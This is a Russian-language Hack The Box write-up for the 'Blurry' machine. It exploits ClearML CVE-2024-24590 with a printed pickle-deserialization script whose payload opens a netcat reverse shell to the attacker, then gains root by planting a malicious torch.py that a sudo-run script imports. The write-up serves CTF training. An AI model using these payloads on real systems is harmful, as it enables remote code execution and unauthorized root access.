Автор: @FaLLenSkiLL

Ссылка на тачку HTB:

https://app.hackthebox.com/machines/Blurry

Разведка

Сканируем открытые порты

Сразу добавляем запись в /etc/hosts

echo "10.10.11.19 app.blurry.htb" | sudo tee -a /etc/hosts

Заходим на сайт

Попадаем в панель ClearML

User flag

Если загуглить уязвимости на это приложение, можно сразу наткнуться на CVE-2024-24590. Её то мы и будем использовать

Для этого перейдем на страницу http://app.blurry.htb/settings/workspace-configuration и создать новую конфигурацию

Не забываем добавлять новые поддомены в /etc/hosts

echo "10.10.11.19 api.blurry.htb" | sudo tee -a /etc/hosts
echo "10.10.11.19 files.blurry.htb" | sudo tee -a /etc/hosts

Потом копируем сгенерированную конфигурацию

И вставляем в запущенный локально clearml-init (его нужно будет предварительно установаить себе на тачку)

Если всё прошло успешно, можно переходить к эксплоиту

https://github.com/LordVileOnX/ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590-/blob/main/exploit.py

from clearml import Task
import pickle, os
 
class RunCommand:
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc **IP** **PORT** >/tmp/f',))
 
command = RunCommand()
 
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

Его достаточно просто запустить, он все сделает за вас. Не забудьте только поменять IP и включить прослушиватель

python3 exploit.py

Root flag

Первым делом прописываем sudo -l

Итак, мы можем запускать bash скрипт /usr/bin/evaluate_model с рут правами.

При детальном изучении скрипта становится понятно, что он использует для работы /models/evaluate_model, который первым делом импортирует модуль torch.py

Также обратим внимание на папку /models, в которой мы имеем права на запись и файлы которой также могут запускаться с root правами.

Понимаете к чему это я? Почему бы просто не подменить torch.py

echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth

Сработало, мы root

Tags:

#hackthebox#writeup#medium #season5